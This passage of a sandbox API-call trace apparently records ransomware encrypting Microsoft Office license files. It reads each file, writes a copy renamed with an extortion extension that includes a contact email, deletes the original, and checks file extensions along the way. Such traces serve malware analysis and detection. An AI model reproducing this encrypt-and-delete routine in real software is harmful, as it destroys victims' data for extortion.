(normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 0x220 [0200.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0200.940] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.940] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.941] GetLastError () returned 0x0 [0200.941] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d4b, lpOverlapped=0x0) returned 1 [0200.943] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d50, lpOverlapped=0x0) returned 1 [0200.944] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0200.944] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0200.944] SetEndOfFile (hFile=0x550) returned 1 [0200.944] CloseHandle (hObject=0x550) returned 1 [0200.944] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.944] SetEndOfFile (hFile=0x538) returned 1 [0200.947] CloseHandle (hObject=0x538) returned 1 [0200.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 1 [0200.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.948] lstrlenW (lpString=".doc") returned 4 [0200.948] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.948] lstrlenW (lpString=".docx") returned 5 [0200.948] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.948] lstrlenW (lpString=".pdf") returned 4 [0200.948] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.948] lstrlenW (lpString=".xls") returned 4 [0200.948] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.948] lstrlenW (lpString=".xlsx") returned 5 [0200.948] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.948] lstrlenW (lpString=".ppt") returned 4 [0200.948] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.948] lstrlenW (lpString=".zip") returned 4 [0200.948] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.948] lstrlenW (lpString=".rar") returned 4 [0200.948] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.948] lstrlenW (lpString=".bz2") returned 4 [0200.948] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.948] lstrlenW (lpString=".7z") returned 3 [0200.948] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.948] lstrlenW (lpString=".dbf") returned 4 [0200.948] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.948] lstrlenW (lpString=".1cd") returned 4 [0200.948] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.949] lstrlenW (lpString=".jpg") returned 4 [0200.949] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.949] lstrlenW (lpString=".doc") returned 4 [0200.949] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.949] lstrlenW (lpString=".docx") returned 5 [0200.949] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.949] lstrlenW (lpString=".pdf") returned 4 [0200.949] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.949] lstrlenW (lpString=".xls") returned 4 [0200.949] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.949] lstrlenW (lpString=".xlsx") returned 5 [0200.949] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.949] lstrlenW (lpString=".ppt") returned 4 [0200.949] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.949] lstrlenW (lpString=".zip") returned 4 [0200.949] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.949] lstrlenW (lpString=".rar") returned 4 [0200.949] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.949] lstrlenW (lpString=".bz2") returned 4 [0200.949] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.949] lstrlenW (lpString=".7z") returned 3 [0200.949] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.949] lstrlenW (lpString=".dbf") returned 4 [0200.949] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.949] lstrlenW (lpString=".1cd") returned 4 [0200.949] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0200.949] lstrlenW (lpString=".jpg") returned 4 [0200.950] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.950] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.950] lstrlenW (lpString="MondoR_SubTrial-pl.xrm-ms") returned 25 [0200.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0200.950] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11151) returned 1 [0200.950] CloseHandle (hObject=0x538) returned 1 [0200.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 0x220 [0200.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0200.951] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.951] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.952] GetLastError () returned 0x0 [0200.952] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2b8f, lpOverlapped=0x0) returned 1 [0201.238] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2b90, lpOverlapped=0x0) returned 1 [0201.239] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0201.239] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x106, lpOverlapped=0x0) returned 1 [0201.240] SetEndOfFile (hFile=0x550) returned 1 [0201.240] CloseHandle (hObject=0x550) returned 1 [0201.240] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.240] SetEndOfFile (hFile=0x538) returned 1 [0201.243] CloseHandle (hObject=0x538) returned 1 [0201.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 1 [0201.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.244] lstrlenW (lpString=".doc") returned 4 [0201.244] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.244] lstrlenW (lpString=".docx") returned 5 [0201.244] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.244] lstrlenW (lpString=".pdf") returned 4 [0201.244] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.244] lstrlenW (lpString=".xls") returned 4 [0201.244] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.244] lstrlenW (lpString=".xlsx") returned 5 [0201.244] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.244] lstrlenW (lpString=".ppt") returned 4 [0201.244] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.244] lstrlenW (lpString=".zip") returned 4 [0201.244] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.244] lstrlenW (lpString=".rar") returned 4 [0201.245] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.245] lstrlenW (lpString=".bz2") returned 4 [0201.245] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.245] lstrlenW (lpString=".7z") returned 3 [0201.245] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.245] lstrlenW (lpString=".dbf") returned 4 [0201.245] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.245] lstrlenW (lpString=".1cd") returned 4 [0201.245] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.245] lstrlenW (lpString=".jpg") returned 4 [0201.245] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.245] lstrlenW (lpString=".doc") returned 4 [0201.245] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.245] lstrlenW (lpString=".docx") returned 5 [0201.245] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.245] lstrlenW (lpString=".pdf") returned 4 [0201.245] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.245] lstrlenW (lpString=".xls") returned 4 [0201.245] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.245] lstrlenW (lpString=".xlsx") returned 5 [0201.245] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.245] lstrlenW (lpString=".ppt") returned 4 [0201.245] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.245] lstrlenW (lpString=".zip") returned 4 [0201.245] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.245] lstrlenW (lpString=".rar") returned 4 [0201.245] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.245] lstrlenW (lpString=".bz2") returned 4 [0201.246] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.246] lstrlenW (lpString=".7z") returned 3 [0201.246] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.246] lstrlenW (lpString=".dbf") returned 4 [0201.246] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.246] lstrlenW (lpString=".1cd") returned 4 [0201.246] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0201.246] lstrlenW (lpString=".jpg") returned 4 [0201.246] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.246] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.246] lstrlenW (lpString="MondoR_Trial-ul-oob.xrm-ms") returned 26 [0201.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0201.247] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11586) returned 1 [0201.247] CloseHandle (hObject=0x538) returned 1 [0201.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 0x220 [0201.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0201.248] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.248] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.248] GetLastError () returned 0x0 [0201.248] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d42, lpOverlapped=0x0) returned 1 [0201.250] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d50, lpOverlapped=0x0) returned 1 [0201.251] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0201.251] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x108, lpOverlapped=0x0) returned 1 [0201.252] SetEndOfFile (hFile=0x550) returned 1 [0201.252] CloseHandle (hObject=0x550) returned 1 [0201.252] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.252] SetEndOfFile (hFile=0x538) returned 1 [0201.254] CloseHandle (hObject=0x538) returned 1 [0201.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 1 [0201.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.256] lstrlenW (lpString=".doc") returned 4 [0201.256] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.256] lstrlenW (lpString=".docx") returned 5 [0201.256] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.256] lstrlenW (lpString=".pdf") returned 4 [0201.256] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.256] lstrlenW (lpString=".xls") returned 4 [0201.256] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.256] lstrlenW (lpString=".xlsx") returned 5 [0201.256] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.256] lstrlenW (lpString=".ppt") returned 4 [0201.256] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.256] lstrlenW (lpString=".zip") returned 4 [0201.256] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.256] lstrlenW (lpString=".rar") returned 4 [0201.256] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.256] lstrlenW (lpString=".bz2") returned 4 [0201.256] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.256] lstrlenW (lpString=".7z") returned 3 [0201.256] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.256] lstrlenW (lpString=".dbf") returned 4 [0201.256] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.256] lstrlenW (lpString=".1cd") returned 4 [0201.256] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.256] lstrlenW (lpString=".jpg") returned 4 [0201.256] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.257] lstrlenW (lpString=".doc") returned 4 [0201.257] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.257] lstrlenW (lpString=".docx") returned 5 [0201.257] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.257] lstrlenW (lpString=".pdf") returned 4 [0201.257] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.257] lstrlenW (lpString=".xls") returned 4 [0201.257] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.257] lstrlenW (lpString=".xlsx") returned 5 [0201.257] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.257] lstrlenW (lpString=".ppt") returned 4 [0201.257] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.257] lstrlenW (lpString=".zip") returned 4 [0201.257] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.257] lstrlenW (lpString=".rar") returned 4 [0201.257] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.257] lstrlenW (lpString=".bz2") returned 4 [0201.257] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.257] lstrlenW (lpString=".7z") returned 3 [0201.257] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.257] lstrlenW (lpString=".dbf") returned 4 [0201.257] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.257] lstrlenW (lpString=".1cd") returned 4 [0201.257] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0201.257] lstrlenW (lpString=".jpg") returned 4 [0201.257] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.258] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.258] lstrlenW (lpString="MondoVL_KMS_Client-ppd.xrm-ms") returned 29 [0201.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0201.259] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2ffff14 | out: 